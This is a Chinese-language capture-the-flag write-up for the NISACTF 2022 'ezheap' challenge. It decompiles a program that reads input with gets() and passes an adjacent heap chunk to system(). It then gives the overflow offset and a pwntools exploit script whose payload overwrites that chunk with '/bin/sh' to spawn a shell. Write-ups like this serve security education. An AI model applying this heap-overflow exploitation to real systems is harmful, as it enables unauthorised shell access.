2058.[NISACTF 2022]ezheap(堆溢出)
[NISACTF 2022]ezheap
1.準備
2.ida分析
main函數
int __cdecl main(int argc, const char **argv, const char **envp)
{char *command; // [esp+8h] [ebp-10h]char *s; // [esp+Ch] [ebp-Ch]setbuf(stdin, 0);setbuf(stdout, 0);s = (char *)malloc(0x16u);command = (char *)malloc(0x16u);puts("Input:");gets(s);system(command);return 0;
}
這里先創建兩個堆塊s和command
然后在s有一個輸入點,gets函數,存在堆溢出
并在下面有system函數,內容為command塊的內容
3.EXP
思路:
這題有堆溢出和system函數,程序最后會運行system函數,內容為command塊的內容
所以我們可以通過堆溢出,從s堆塊溢出到command塊,寫入'/bin/sh',觸發連接
通過gdb調試,得到偏移量
在main函數下斷點,運行程序
?
一直運行到兩個call malloc@plt后,查看堆情況
?
看到這里先要填充28個字節,在給command塊一個size值后,就可以在command塊填入'/bin/sh'當作它的內容
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
腳本
from pwn import *
context.log_level = "debug"
# io=remote('node5.anna.nssctf.cn',21394)
io= process('/home/motaly/pwn')
paylaod=b'a'*28+p32(0x21)+b'/bin/sh\x00'
io.sendline(paylaod)
io.interactive()